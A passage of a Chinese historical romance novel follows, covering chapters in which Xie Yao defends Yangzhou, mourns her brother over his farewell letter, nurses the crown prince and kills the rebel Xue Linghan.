翌日清晨,秦将军的侍卫见他久不出帐起了疑,忙跑进帐内,却见他的心口插着一把匕首,早已断了气。
不止于此,营帐各处的守卫也没了踪迹。
副将将众将士召至帐内,商议对策,几番思量,将矛头指向了扬州城内的高家军和江宁侯府。
入夜,几个士兵凫水进了城,发现沉在瓜州渡口的守卫尸体,愤恨不已。
第三日天还未亮,副将便率领军队攻城,径直撞开城门。
守城的将士犹疑着放箭,却未能将他们逼退,反而被乱箭射伤。
城内的百姓四处逃窜,惊叫连天,冲锋在前的将士将他们撞倒在地,伤者无数。
谢杳闻声惊醒,敛好衣裳,冲出门去。
高家军持盾拦在城门主街处,与他们交手,扬州城内一片混战。
“阿宇,将百姓护送至南城门出城,让他们前往江宁或润州。”
谢杳跃上马,向北城门疾驰而去。
她策马穿过汹涌的人潮,立于马背上借力一跃,跳至副将车舆前,拔剑劈到军旗,又极快抵在副将颈处。
“退兵!”
秦家军见主将被擒,瞬时失了士气,连连败下阵来。
“霍副将,你残杀同袍,也配为将?”
“将军和守卫皆被你所害,与我何干?”
谢杳勾了勾唇,“我说你杀的是将军和守卫了吗?”
霍副将瞋目,忽地发觉自己说错了话,同为大晟将士,无论秦家军、高家军,皆为同袍。
他哑口无言,垂头默认。
“众位将士可听到了?”谢杳语调一扬,“霍副将,残害同袍,祸起战乱,有违大晟律法,此等心性,不配为将,当就地正法。”
扬州刺史抬手示意,守城将士毫不犹豫,将其斩杀。
“秦家军为奸人所惑,罪责可免,却终是伤及了城内百姓。”谢杳提剑指向他们,“你们可还要攻城?”
“我们这便赶回长安,为江宁侯府正名。”
秦家军纷纷退出城外,拔营返京。
陆琼宇骑马赶来时,守城的将士已然归位,只见谢杳脚步缓慢地向高府的方向挪动。
他极快跃下马,跑到她跟前。
谢杳面色惨白,勉强挤出一个笑容,“没事了。”
“怎的就你一个人?”
“我不放心,叫棠梨去守城了。”
言罢,她脱力向后一仰。
陆琼宇急忙揽住谢杳,这才瞧见她素色衣裳下隐隐露出的血迹。
“你受伤了?”
“旧伤。”
谢杳眼睫微颤,合上双眼。
陆琼宇小心翼翼地将她抱起,向高府的方向走去。
晨光熹微,清晨的第一缕阳光照在他们身上,洗去了满身风霜。
扬州城和江宁侯府总算捱过了这一次,可下一次呢?谁又能知晓是何模样?
27. 第二十六卷·落花时节又逢君
谢杳再醒来时,已过了整整一日,参天的樟树枝桠上堆满了雪,白茫茫的,映在她眸中。
“昨夜扬州下了场大雪。”棠梨小心扶起谢杳,给她披好衣裳,“小姐,府上来了信,我们也该回去了。”
“当真退了兵?”
“我仔细查探过,城外的军队已拔营离去,秦家军群龙无首,定是退兵无疑,小姐可安心。”
谢杳颔首,呆呆地望向窗外,满地清白下是悄然腐烂了的根系,经不起灼灼日光,暗涌出肮脏的脓水,混着雪和土,化成一滩污泥。
轻微的叩门声让她收回思绪,“何事?”
门被人推开,陆琼宇急匆匆地走了进来,目光全然落在她的身上。
“何故这般看着我?好似我病入膏肓了一样。”谢杳打趣道。
陆琼宇白了她一眼,“莫造口业。”
“府上来信,催我回去,你可要一道?”
陆琼宇没应声,思量了片刻,轻轻摇头。
“那你可是要回楚州?”
“我身为楚州刺史,绝不能在此刻弃城而逃,理当与楚州百姓同进退。”
谢杳莞尔,这答案她早已猜到。
“你怎么不劝我?”
“我方才没劝你吗?”她俏皮地眨了眨眼,“你既心有所执,我自是不该,也万不能强求的。”
陆琼宇也不反驳,只默默望着她。
他倒是希望她强求,可他心知肚明,谢杳绝不会开口挽留,毕竟就连太子殿下都没有,更遑论是他呢。
翌日午后,积雪消融,正宜赶路。
临行前,陆琼宇嘱咐道:“阿杳,你伤势未愈,回了江宁定要好生休养,切莫再劳碌了。”
谢杳笑着点头,“万事小心,若力有不逮,切记传信于我。”
“好。”陆琼宇转而嘱咐棠梨,“照顾好她。”
马车驶远后,陆琼宇依旧站在原地,凝眸望着她离去的方向,良久,叹了口气。
这些时日,他一直未敢同她提起谢景,可纵使不提,也终有一日要面对。
他还记得儿时他们在一起玩闹,长辈们对他三人的评点,人人都说谢杳生性洒脱,不拘小节,可他知道,并非如此,她最是重情义,有些事看似满不在意,实则心中珍之重之,远甚任何人。
谢家兄妹手足情深,从未有隙,谢景对谢杳之爱重堪比双亲,于她而言,失去兄长,定是锥心之痛。
陆琼宇怅然若失,玄明兄爽朗的笑颜,尤历历在目,而今却是天人永隔,本应安度余生之人,何以落了个不得善终?
上天不仁,国朝四面楚歌,出路何在?
他疑惑不已。
***
一辆装饰华贵的马车缓缓停在江宁侯府门前,前来迎接的江宁侯夫妇望着车上下来的人,俱是一惊,急忙上前见礼。
“二位免礼,请侯爷多唤些人来将姑姑扶下马车。”
话音刚落,又一辆马车迎面驶来,停在他们对面。
谢杳不急不徐走下马车,待她看清府门前立着的人时,停住了脚步。
元序极快收回目光,“不可再耽搁了,需快些接姑姑入府,她中了毒。”
谢杳闻言,心头一震,立时跑上马车,只见谢弈月横卧在车舆内,面无血色,嘴唇乌青,她的身侧还躺着一个尚在襁褓中的孩提。
“姑姑。”
谢杳握住谢弈月的手,眼泪夺眶而出。
“昭昭别怕,姑姑没事。”
谢弈月释然地笑着,回握住谢杳的手。
“皎皎,兄长带你回家。”
谢弈安亲自将谢弈月抱下马车,径直进了府。
“昭昭,莫要忘了待客之道。”
高燕转而向元序施礼,“殿下,失陪了。”
元序慢慢移步到马车前,待谢杳敛好情绪,才开口道:“你面前的这个孩子,是玄明的子嗣,姑姑是为了救她,中了毒箭。”
“我……我兄长是不是真的……”
“昭昭,人死不能复生。”元序轻抚她的肩膀,“你兄长定不愿见你沉溺于悲伤,莫要将自己困住。”
襁褓中的孩提似是感应到了他们的悲伤,忽然啼哭不止,谢杳小心翼翼地将孩子抱在怀中,凝眸望着她,她的眉目与兄长长得极像,鼻子和嘴巴倒是更像公主。
想到这儿,她恍然发觉,失去亲人的苦楚不止她有,元序也失去了唯一的妹妹。
“多谢殿下将姑姑一路护送回江宁,殿下离京已久,恐圣上忧心,谢杳便不多留殿下了。”
元序颔首,他在路上已有耳闻,楚州动乱,想必父皇又要疑心江宁侯府,此外,薛氏谋反,朝廷怕是还被蒙在鼓里,如今大晟四面楚歌,纵是她不开口,他也不会多留。
“阿策,你留下。”
段策还未来得及推脱便被慌张跑来的小满打断,“阿姊,姑姑的毒……解不了!”
此言一出,几人将适才议事抛诸脑后,疾步进了府。
书房门前,管家来回踱步,满面愁容。
“周叔,阿爹如何说?”
周管家叹了口气,默默摇头。
谢杳的心凉了半截,连父亲都解不了的毒,这世间还能有何人可医呢。
元序上前一步,扶住谢杳,让她倚靠着自己站稳。
谢杳臂上的伤被他手上的动作碰到,吃痛地缩了缩肩膀。
他察觉到她的异样,轻轻抬手,只手臂揽着她的背,目光移向棠梨。
棠梨会意,接过谢杳怀中的孩提。
少时,高燕垂头走了出来。
谢杳急忙上前,“阿娘,如何了?”
“此毒已深入皎皎肺腑,无药可解。”
“那……姑姑还有多少时日?”
“不足半月。”
高燕不忍望着女儿失落的神情,移开目光,恰巧注意到棠梨怀中的孩子。
“这是景儿的孩子?”
元序颔首,“各中缘由想必姑姑已向将军、侯爷言明,孤这便回京,向父皇禀明真相。”
高燕拦在元序面前,“殿下,且在江宁待上一日也不迟。”
“阿娘,你这是做什么?”谢杳轻声劝阻,“无论如何,他也是大晟太子,我们不好阻拦。”
“殿下意下如何?”
“恭敬不如从命。”
高燕付之一笑,抱着孩子回了书房。
“殿下为何要应?”
谢杳想不明白母亲为何会在此时挽留太子,更不明白元序为何要应下。
“孤相信,令堂定有她的缘由,更何况,这里不是别处,孤又不会陷入险境。”
“可……”
元序抢过话,“孤舟车劳顿,实在体力不消,少陪了。”
不待谢杳开口,元序就在周管家的引路下去了厢房。
人走远后,棠梨轻声开口:“小姐,你多想了。”
谢杳不答,自嘲地笑了笑,虽说关心则乱,却也掩盖不了她的荒唐,她怎能以为母亲是想扣下太子,借此保江宁侯府平安呢?
“小姐许是这几日太过劳累了。”棠梨柔声开解,“左右我们在这儿帮不上什么忙,不若也回去休憩片刻。”
谢杳闭目,平复好心绪,轻轻点头。
入夜,祠堂的光亮更盛了几分,那烛火轻轻闪动,将堂内的两个身影打在窗棂,莫名扰乱了她的思绪。
谢杳轻手轻脚走到窗前,侧耳听堂内的动静。
“自太祖薨世,圣上步步紧逼,江宁侯府一退再退,事到如今,夫君还打算听之任之吗?”
“可我们又能如何?难道要同薛凌寒那般,谋反吗?”
“如今的大晟,庸君当道,赋税繁重,国朝积弊已深,各州府早生了异心。”
谢弈安不答,眉头紧锁,心中思绪万千。
“世间事,合久必分,分久必合,这偌大的天下,已非元氏一族能守得住了。”
“为官为民,自当忠君,万没有谋朝篡位的道理。”
高燕拉住谢弈安的手臂,“夫君扪心自问,此般境地,当真只是一个薛国公和西羌瀚海可以造就的吗?”
不待他回答,她继续说道:“若不是圣上默许纵容,景儿、皎皎,以至楚州、扬州,会落到这般田地?”
谢弈安抬手捂住她的嘴,轻声制止,“太子还在府内,夫人这番话若是叫他听去,我们可就真的洗不清这罪名了。”
高燕轻笑,“江宁侯府满门忠良,何罪之有?难道非得要用我们阖府上下的性命,来换他元氏一族自以为是的安稳江山?”
谢弈安长长地叹了口气,覆上她的手,摇头示意。
良久,父亲低沉的声音落在谢杳耳中,带着难掩的倦意。
“容我再想想吧。”
她不忍再听下去,默默转身离开,不知怎的,竟鬼使神差走错了方向。
谢杳愣怔地站在谢景书房的门前,深吸了一口气,推开门,走进屋中。
借着月光,她翻找了好几遍书架,才找到火折子。
烛光亮起,驱散了满室黑暗,落在她的眸中,恍如隔世。
这书房内的陈设,她再熟悉不过,儿时她贪玩,总缠着谢景带她出府,每每被发现,都是兄长顶罪,替她抄书受罚,她呢,则在一旁的卧榻上,喋喋不休,极不服气地声讨父亲、母亲。
回忆涌上心头,让她渐渐模糊了眼眶,谢杳苦笑,四下张望,努力开解自己,“让我瞧瞧,万一某人粗心大意落了些价值连城的物件,我也好劫了去。”
她的目光囫囵一扫,最终停在角落一个看似不起眼的箱子上。
谢杳不免有些好奇,难道兄长真有遗漏的东西?她转念一想又觉得不对,当初谢景出府时他们一一核查过的,断不可能有遗漏。
“想必是些不重要的东西,不过……打开看看也无妨。”
她眉眼一弯,掀开箱子,顿时愣住,一件大红色衣裙映入眼帘,那衣裳上还放着一张字条,是她兄长的字迹:给昭昭的嫁妆。
这是……婚服,谢杳双手微颤,将字条和婚服从箱中拿出,在婚服下面,还有数十张房产、地契和一些珠翠首饰。她将这些东西统统拿出箱外,最后发现了藏在箱底的信。
她小心翼翼地展平信笺,一字一句地仔细读着。
昭昭:
自尔出生,已十八载春秋,吾妹亭亭,兄长甚喜。无奈为兄庸碌,害尔婚事波折,错失良缘,每念及此,心中惭愧,难弥其咎,兄经年所得,皆付于此,权当为小妹添妆。
惟盼昭昭日后平宁顺遂,得遇佳偶,做这世间来去自由的闲云野鹤,喜乐常随,再无忧惧。
江宁侯府虽重,亦不足舍己承担,天下生民虽重,亦不足舍命相抵,昭昭谨记。
兄谢景
谢杳豆大的泪珠自双颊滑落,打在信上,晕开了墨迹。她慌忙去擦,可泪水早已浸入信纸,纵然擦干,也恢复不了原来的模样了。
她很是自责,气自己这不争气的眼泪,抬手胡乱地抹着,却终是泪流满面。
“我才不要这些……我只想你回来……”
她哽咽着说完,嚎啕大哭,将婚服和信紧紧拥入怀中。
“兄长!”
这撕心裂肺的喊声溢满悲戚,屋外,一个落寞的身影倚在窗边,默默地陪伴着她。
“殿下,小姐可在此处?”
前来寻人的棠梨上气不接下气地问道。
“嘘——”
元序比了个手势,示意她放低声音,然后轻轻点头。
棠梨舒了口气,悬着的心总算落了地。
“你看好她。”言罢,元序便要离开。
“太子殿下请留步。”棠梨唤住他。
元序虽不解其意,但还是礼貌地停下了脚步。
“棠梨斗胆,有一事想求殿下。”
“但说无妨。”
“小姐此前辗转楚州、扬州,落了一身伤,却怎么也不肯好生将养,侯爷、夫人尚且不知,现下又顾不得她,棠梨只怕这身上的伤和心头的痛愈加难消。”棠梨跪地以请,“江宁侯府已经失去了大公子,万不能再失去小姐了,求殿下出言相劝。”
元序
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虚扶起她,“孤应下了,只是昭昭的性子你也知晓,孤亦未必能劝得动。”
“小姐这一路失去了太多,如今在这世上能唤她一句‘昭昭’的人已经不多了。”
而殿下便是其中之一,是这仅存之人中胜过血浓于水的亲情还要爱重,甘愿舍命相护的人。这后半句话,棠梨没有说出口。
她自小便伴着小姐,这数年间,她们辗转南北,起起伏伏,她都无比笃定,小姐绝不会一蹶不振,可身在其中,哪怕只是旁观,都觉得心疼,她的小姐,那般清风朗月的人,何以坎坷至此?
“棠梨实在不愿小姐一个人承担那么多重担,因而擅自做主说了这些,还望殿下宽宥。”
元序垂眸,“你先回去吧,孤守着她。”
书房内彻底没了动静,只余下呼呼风声,挟着刺骨的寒凉掠过面庞。
元序轻轻推开门,一眼便望见了伏在箱子上昏睡着的谢杳,她的眼角还带着泪。
他叹了口气,俯下身,轻轻揽住谢杳,将她抱到榻上,正欲回身,却忽地被她拽住。
谢杳攥紧他的手,“哥哥……哥哥回来……”
元序回握住她的手,轻声安抚:“昭昭,兄长在呢。”
他抬手为她抚平紧蹙的眉头,待谢杳安稳睡去,他起身走到角落旁,将地上的东西一一放回箱内。
在拿起那封满是泪痕的信时,元序的手蓦地一顿,信上的字字句句情真意切,他也不免为之动容。
元序轻叹,他们的婚约原是长辈的一意孤行,除却父皇谁又能奈何的了?谢景却将罪责揽到他一己之身,只为了让妹妹不再自苦。
天家无情,他幼年失恃,与几位皇弟、皇妹并不亲近,可就算如此,永乐公主的死对他而言都已痛心疾首,更遑论谢杳呢。
元序将箱子合好后,解下斗篷,盖在谢杳的身上,将她打横抱起,顺带拿走了那封信。
翌日清晨,谢杳醒来时发现自己和衣而眠,想到昨夜,不免些许疑惑。
“棠梨!”
屋外的人应声走了进来。
“殿下?”
元序没出声,默默将信递给她。
“多谢殿下送我回来。”谢杳接过信,神情一改,“可纵使是殿下,也不该无故拿人信件。”
“孤总不能任由这信件掉在地上,而视若无睹吧?”
“殿下何时出现在书房的?”
“自你进了书房伊始。”
谢杳蓦地想到昨夜父亲、母亲在祠堂内的对话,心中生出一丝担忧。
“殿下也当启程了。”
“谢二小姐何必如此急着赶孤走。”元序分毫不让,“莫不是觉得被驳了面子,便要拒人于千里之外。”
谢杳气极,慌不择言,“我的事不劳殿下费心。”
“谢昭昭!”
元序拉住她的手腕,将她的衣袖向上一撩,触目惊心的箭伤映入眼眸。
谢杳挣扎着欲抽出手,却被他紧紧攥住,动弹不得。
“玄明的信你也看了,以后绝不许再这般莽撞行事,落得一身伤还不好好将养,你可是一心求死?”
谢杳不答,别过头去。
“你若不好好将养,孤便不走了,留在江宁侯府日日盯着你。”
“殿下不会。”
元序凑到她面前,迫使她望向自己。
谢杳望着他认真的神情,有些无措,“我竟不知大晟温润如玉的太子殿下,如今变得这般意气用事。”
“我唤棠梨来,给你上药,你今日好生在此休憩,哪也不许去。”
言罢,元序快步出了门。
谢杳垂眸望向自己的手腕,腕上还带着他的余温,元序的手……怎么这般烫?
棠梨端着药刚一进门,她就立时问道:“昨夜太子殿下送我回来后去了哪里?”
“殿……殿下自是回了厢房。”棠梨支支吾吾地应道。
谢杳直勾勾地望向她,“当真?”
“殿下对不起。”棠梨咬牙将实情告知谢杳,“殿下昨夜在小姐门外守了一夜。”
“胡闹!你怎也不拦着?”谢杳立时起身,披了斗篷,作势便要出去寻他。
棠梨拦在谢杳面前,“小姐上了药再去吧。”
谢杳用力将她推开,“江南的隆冬虽不比北境,可夜深风寒,在外一夜是要人命的,你速速去熬些治伤寒的药来。”
不待棠梨应声,谢杳便疾步离去。
辰时的阳光照在元序的脸上,暖洋洋的,不知是否因着日光太盛,他竟觉得有几分晕眩。
他勉力撑着走过亭廊,步子愈加轻飘,险些摔倒。
“殿下!”
元序隐约听见谢杳的声音,却又不真切,他自嘲地笑了笑,她怎么会来找他呢?定是他听错了。
“元子启!”
元序愣怔着回头,只见谢杳疾步向他跑来。
他失了神,终是强撑不住,身子向前一倾,谢杳连忙拥住他,让他倚在自己身上。
“昭昭,我没事,你快回去。”
谢杳抬手覆上他的额头,“这么烫,还说没事?”
元序笑着摇头。
“殿下说我不惜命,你自己不也一样。”
谢杳陷入沉思,薛氏谋反的事朝廷尚且不知,太子又病了,圣上那边恐难以交代。
“不必担心,我已传信父皇。”言罢,元序垂下头,失了意识。
“子启?”
谢杳轻轻晃了晃他,见他没了反应,心急如焚,扬声唤道:“来人!快来人啊!”
厢房内,只余几盏烛火闪着微光,谢杳倚在塌边,不时为元序擦去额间的汗珠。
她紧紧握着他滚烫的手,凝眸望向他,不敢错过一丝一毫。
天色泛白,元序艰难地睁开眼,他望着伏在塌边的人,心念微动,抬手将谢杳身上散开的斗篷拢好,理了理她额间的碎发。
如若可以,他真希望时间停留在这一刻,这样,他们就不用再面对离分。
可惜,人们所希冀的从来难以为继,命运往往另有安排。
28. 第二十七卷·多少楼台烟雨中^^……
谢杳没日没夜地照顾了元序三日,待他渐趋好转,她才安下心去休憩,这一折腾竟也过了小半月。
时至新岁立春,元序已全然无恙,他不欲再耽搁,与江宁侯夫妇辞谢作别。
临行前,谢弈月留他叙话,“子启,此一别或再无相见之日,万自珍重。”
元序垂眸,轻轻点头,“姑姑……可有话要带给老师?”
谢弈月微怔,笑着摇了摇头。
“姑姑!”谢杳拽了拽她的衣袖。
“小丫头,还轮不到你做姑姑的主。”谢弈月的目光扫过面前惆怅的二人,生了个有趣的念头,“昭昭,你送太子殿下出城。”
她故意将“你送”二字念得很重。
谢杳瞥了眼姑姑,知晓她的言外之意,便也不推脱,点头应下。
谢弈月没了精神,在谢杳的搀扶下,慢慢躺好,又嘱咐道:“回来时,顺道替我去趟鸡鸣寺。”
“遵命。”谢杳无奈地叹了口气,为她盖好被子。
“子启少时受姑姑教导,心中感激,无以为报,今在此立誓,必倾尽全力护江宁侯府无虞。”元序躬身作揖,向谢弈月郑重道别,“姑姑,珍重。”
谢弈月莞尔,抬手轻轻一挥,示意他们快些离去。
她凝眸望着二人,直至他们的背影消失在视线之中,才缓缓闭上眼。
马车驶离江宁侯府不过数十里,元序蓦地开口:“去鸡鸣寺。”
“夜间行路不易,殿下别误了时辰。”谢杳劝道。
“耽搁不了多久。”元序态度坚决。
鸡鸣寺内,挤满了香客,全都一窝蜂地围在一棵菩提树下,翘首等待。
谢杳和元序进完香,竟被拥挤的人流推搡上前,进退不得,只好耐着性子等着。
有几位妇人在他们身后攀谈,这才知晓了原委,原是自昆仑来了位姓云的方士,占卜问卦灵验得很,引了不少人前来,求问运势、前程。
谢杳迎上元序的目光,会心一笑,他们皆是不信这些的,不过等都等了,听听也无妨。
到他们时,那方士竟连问也不问,直接起卦,初时他面含笑意,后又摇了摇头,神情惋惜。
“二位请随我进殿一叙。”
那方士引着他们进了偏殿,屏退了其余一众香客,才缓缓开口:“二位皆是人中龙凤,紫薇照命之相。”
谢杳心头一震,紫薇照命,乃是帝王之相,元序不足为奇,可她为何会?
“上承于天,南北裨益,福及寰宇。”那方士顿了顿,“只是……”
“只是如何?”元序接过话来。
“只是二位命中,俱无红鸾。”
谢杳付之一笑,“劳烦大师了。”
那方士向他们见礼,退出殿外。
元序眸中闪过一丝不易察觉的失落,很快又恢复如常,“走吧。”
谢杳点了点头。
“阿姊——”
二人刚一出寺,恰巧撞上了匆忙来寻谢杳的小满。
“姑姑病重,夫人请你速速回去。”
“殿下,我只能送你到这儿了。”
言罢,谢杳便要转身离开,却被元序拽住。
他望向小满,“下马!”
小满会意,极快地跃下马。
不待谢杳劝阻,元序便拉着她跃上马,扬鞭离去。
二人还未来得及进府,便被前来送信的信使拦下。
谢杳接过信,边走边打开信笺,信的内容很短,只有寥寥数语:
方中缺一味当归,马蔺子或可替之,再辅以防风、王不留行,保管药到病除。
“不好!”
谢杳顾不得元序,撇下他疾步跑向书房。
她推门进去,立时愣住,书房内除却双亲,还有她的外祖、二叔父,定远侯,以及江南各州府的刺史,皆坐于屋内。
棠梨极快掩上门,守在门外张望着,舒了口气,幸好太子殿下没有跟来。
谢杳一一见礼,走到父亲身侧,将信递给他,“自长安的来信,想必是月见阿姊。”
高燕使了个眼色,谢杳会意,与她并肩走到角落,“太子出城了?”
谢杳蹙眉,轻轻摇头。
高燕瞋目,“太子还在府内?”
此言一出,举座哗然。
“众位若再不噤声,殿下想不发现都难。”谢杳神情一敛,“父亲、母亲这是何意?”
“外孙女,事到如今,江南不得不聚而自保。”
“报——”
一声通传,打断了屋内的议事。
“禀侯爷,城外大军压境,似是要攻城!”
谢杳悄悄移向门边,心中暗自思量着应对之策,南境自立势在必行,却不该是眼下所为,大军压境,双方交战受苦的只会是百姓,可如若不然,兵不血刃之法惟有……挟太子以令三军。
她心下一横,趁机溜出门去,反手将腰间软剑横于门环间,又将短刃用力插于窗牖下方的木轴处。
“小姐,你这是作甚?”
谢杳不答,反手将棠梨的手臂一扣,抽出她腰间的软剑,扬声道:“小满,去姑姑那儿,将太子殿下带出府。”
“阿姊?”
“照我说的做!”
小满颔首,转身跑开。
谢杳话音刚落,窗牖便被人用刀划破,高燕的面容露出一半,她声色俱厉:“昭昭,休要胡闹,把门打开!”
“恕女儿不能应允,南境自立,当清白于世,绝不能走那旁门左道。”谢杳跪地叩头,“女儿自有法子,解江南之困,请父亲、母亲放心。”
她转而望向棠梨,“待我走后,看住屋内的人,若是少了一个,唯你是问。”
言罢,她跃上屋檐,没了踪迹。
棠梨卸了力,跌坐在地上,她不怪小姐此行不让她护卫,毕竟,是她欺瞒小姐在先。
撞门声接连不休,伴着呼喊的人声,无一不是命她开门。
棠梨攥紧手心,这一次,她绝不会再辜负小姐的信任,“侯爷、夫人,诸位大人,棠梨受小姐所托,绝不能开门放各位出去,还请各位安心歇下,莫要驳了小姐的好意。”
谢杳很快追上了元序一行的马车,元序见她前来,立刻开口:“姑姑无事。”
她神色微动,本以为他会开口质问,却不想说了这么一句话。
“事出紧急,只好携殿下匆匆上路。”谢杳言辞恳切,“秦家军半路被劫,殿下又迟迟未归,圣上不得音讯,故而再次出兵,如今兵临城下,还需殿下相助。”
“你要只身入局?”元序直截了当,将她
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的心思点破。
谢杳坦然一笑,也不辩驳。
“何不依令尊、令堂之意?”元序目光真挚,“这样,总好过你以身犯险。”
“谁又知权宜之计,来日会否覆水难收呢?”谢杳态度坚决,“我不愿牵及无辜之人,却也不能弃家人和江南百姓于不顾,惟有此法可得两全。”
元序不再作声,经此一遭,他方才全然看清她的心意,昭昭本可将他这个大晟太子推出去,换这半壁江山,却偏要费力走那崎岖弯路,只为保全他的性命。
他暗自筹谋,昭昭既想用一己之身来换这天下安宁,那他便来护着她,护她心愿得偿。
守城的将士就快抵挡不住时,谢杳与元序及时赶到,城门缓缓打开,她与他策马出了城外。
“孤乃大晟太子,尔等速速退兵!”
阵前的将士停下攻势,都默默望向主将,听候军令。
“殿下,臣奉陛下旨意,诛杀逆党。”
“真正欲谋反之人是薛凌寒,他谋害公主和驸马,扣下二皇子,假借江南动乱混淆视听,以遮掩他弑帝拜相的野心。”
谢杳随后开口:“在下江宁侯府谢杳,愿为人质,同诸位一道北上,探清真相。”
主将若有所思,退兵而归,虽是违逆圣意,可若不然,长安兵力空虚,薛氏反贼势如破竹,恐有灭国之难,孰轻孰重,他分得清。
“众将士听令,退兵!”
“小满,你回去。”
“阿姊,我怎能抛下你一人回府?”小满拽住马上的缰绳,不肯放手。
元序策马到马车跟前,“阿策,你留下。”
“殿下……”
“你本就是江宁侯府之人,总要落叶归根。”元序神情严肃,不容置喙。
“长安局势不明,危机四伏,我去了也好保护殿下和阿姊。”
“正因如此,孤才要你留在江宁,你们去了,反倒叫孤二人分心。”元序俯身拍了拍他的肩膀,“放心,孤定会保护好你阿姊,待一切结束后,你的去留,再由她亲自定夺。”
谢杳狠下心,用力推开小满,策马离去。
元序见状,扬鞭追上谢杳,“我也将阿策留在江宁了。”
“殿下思虑周全。”
段策扶起地上瘫坐着的小满,为她掸掉衣衫上的尘土,安慰她道:“小满勿忧,殿下和阿姊都是顶厉害的人,定会逢凶化吉、安然无恙的。”
小满泪眼朦胧,难掩忧惧,“可阿姊的伤才刚痊愈啊!”
黑云卷积,狂风大作,瓢泼大雨随之而至。
还有两日,便是她的生辰了,好雨知时节,这是江南在送她。
“殿下披好蓑衣,莫要再染了风寒!”谢杳朝着策马在前的元序喊道。
元序回头望向她,颔首示意。
烟雨涳濛,氤氲了江南锦绣,让人瞧不真切。
谢杳收回思绪,此番北上,她不为入京正名,帝王凉薄,做再多亦是无用之功,国朝积弊,南北一统已不合时宜,她早将前路看清。
治国有常,而利民为本,民为贵,社稷次之,君为轻,这才是她所信奉的道。
天理昭彰,有冤之人,不能含冤而终;有罪之人,不能逍遥于世。她必会亲手手刃薛凌寒,以祭这世间无辜枉死的英灵。
29. 第二十八卷·暮霭沉沉楚天阔^^……
朔风凛冽,寒气袭人,一片肃杀景象。
数万大军围于长安城外,与护城军僵持不下,一时毫无进展。
谢杳倚在树上,极目远眺,总觉得哪里不对,自圣上出兵江南已有一段时日,薛凌寒本已按捺不住,怎会进展如此缓慢?
旌旗翻飞,沙沙作响,将她的目光吸引过去。
墨色的军旗,一如多年前她在陇右所见到的那般,她恍然大悟,原是圣上打算借出兵江南迷惑薛凌寒,实则暗中调安西军回京,将薛贼一网打尽。
谢杳轻笑,论谋算人心,他们还真是比不得当今圣上。
她收回思绪,目光一寸一寸划过城外的营帐,很快摸清了驻军的情况。
谢杳暗自盘算,待元序一行赶到还要两个时辰,足够她在黄昏后先诛杀了这薛氏狗贼,到那时薛军群龙无首,大晟军队前后夹击,必不战而胜。
她闭目小憩,并未发觉,身后树上的人影。
元序早猜到她的用意,决心帮她隐瞒,却不能放她一人面对,是以佯装昏迷,待她策马离开后,留了张字条给主将,旋即跃上马,一路尾随着她。
他凝眸注视着谢杳的一举一动,亦暗自思量,安西军军旗在此,想是父皇收到了他的信,也弄清了原委,才不至薛军破城而入,可既收到了信,本不至多此一举出兵江南,却偏又将计就计,恐怕……其意不止这么简单。
他打定主意,待此间事了,趁乱送昭昭回江南便是,左右南北都有人接应,定能护她周全。
黄昏时分,最后一抹日光跃下城墙,天地坠入沉沉墨色,隐匿了飞鸟鱼虫,了无生气。
一道虚影飞快地闪过树梢,溜进边缘一个不起眼的营帐内。
帐内的榻上,一动不动地躺了个人,待她走近,看清面容,心头一震。
“二殿下?”谢杳急忙走上前,伸手探他鼻息。
她舒了口气,元庆应是被下了迷药,于性命无碍。
谢杳不欲耽搁,趁机溜了出去,几经辗转,终于进了大帐。
薛凌寒与亲卫负手而立,凝眸望着长安城舆图,频频叹息。
帐外忽地传出一声奇响,似是焰火升空,谢杳趁此时机,抬手用袖箭射向薛凌寒的亲卫,那亲卫中箭倒地,用最后一丝力气推开了薛凌寒。
她立时抽出腰间软剑,三两步跃到薛凌寒身侧,将剑架在他的脖子上。
薛凌寒神色不惊,忍不住发笑,“我当是何人,原是个黄口小儿。”
谢杳压下心头疑惑,将剑逼近,“薛国公一人之下,万人之上,自是看不起我们这些后辈,可也就是这‘黄口小儿’,今日来取你的命。”
“就算你杀得了我,也逃不过这帐外的数万大军。”
“那是我的事,不劳薛国公费心。”
薛凌寒吹了声口哨,帐外的士兵应声涌进帐内,将他们团团围住。
谢杳挑眉,手轻轻一带,在薛凌寒的脖子上划出一道血痕,“我倒要看看是你们的箭快,还是我的更快?”
薛凌寒仰天大笑,“我薛凌寒死也要拉个垫背的,有你这谢家后人,我不亏!”
言罢,他抓住软剑,作势便要自尽。
谢杳反应极快,抬脚一踹,薛凌寒蓦地跪地,错开了剑刃。
几乎同时,帐外传来一阵骚动,“安……安西军!安西军攻来了!”
薛凌寒闻言反笑,“你以为我死了,元朔就会放过江宁侯府?可笑!”
他见谢杳不出声,继续说道:“元朔既知我谋反,本不必再出兵江南,可他却多此一举,为得不是将计就计,他早就存了清理门户之心,想要你们江宁侯府阖府上下的命作陪。”
“鹬蚌相争,渔翁得利,可就算如此,这一切的祸患也都是因你而起。”
谢杳拽住他的衣领,将他拖向帐外,薛军不敢轻举妄动,只好一步步退出营帐。
远处,安西军源源不断地涌来,与薛军扭打成一片,战况激烈,血流成河,染红了脚下的土地。
一个与她一样身着白衣的男子策马穿过四散的人群,向大帐而来。
马上不止他一人,另一个男子从他身后跃下马,扬声喝道:“都给本殿退下!”
围住谢杳和薛凌寒的薛军闻言一顿,不知该如何是好。
“外祖父,莫要一错再错了!”元庆言辞恳切。
“你懂什么?”薛凌寒声色俱厉,“一人之下,万人之上,皆是虚妄,难道你要一辈子做那窝囊王爷,处处低人一等吗?”
薛凌寒苦笑,他少时立誓,誓死忠君,扬薛家门楣,可结果呢?
才德兼备之人无数,薛家不得重用,日渐式微,被其他世家所耻,落井下石者无数,他这般卑躬屈膝,却是倚靠女儿,才不过得了一个国公的位置。
他暗中谋算,汲汲营营,不过是不愿再屈居人下,将这天下、权力、荣华拱手于人,可惜,他还是棋差一招,满盘皆输了。
谢杳沉声开口:“你利欲熏心,根本不配为人尊长。”
薛凌寒付之一笑,胜者为王,败者为寇,事到如今,他没什么好辩驳的。
谢杳眸中带泪,轻蔑一笑,“谢杳今日在此,手刃仇敌,以祭我兄长、嫂嫂,凉州段氏,还有无辜枉死之人的在天之灵。”
她无半点犹豫,挥剑划过薛凌寒的脖颈,大量的鲜血喷涌而出,染红她的白衣,触目惊心。
“薛凌寒罔为人臣,死有余辜,薛氏余众若不伏法,大晟必诛之!”
薛军溃败逃窜,无一人顾得上薛凌寒的尸身,谢杳望着眼前混乱的景象,怅然若失。
大仇得报,她并未觉得一身轻松,人死不能复生,失去的终归是失去了。
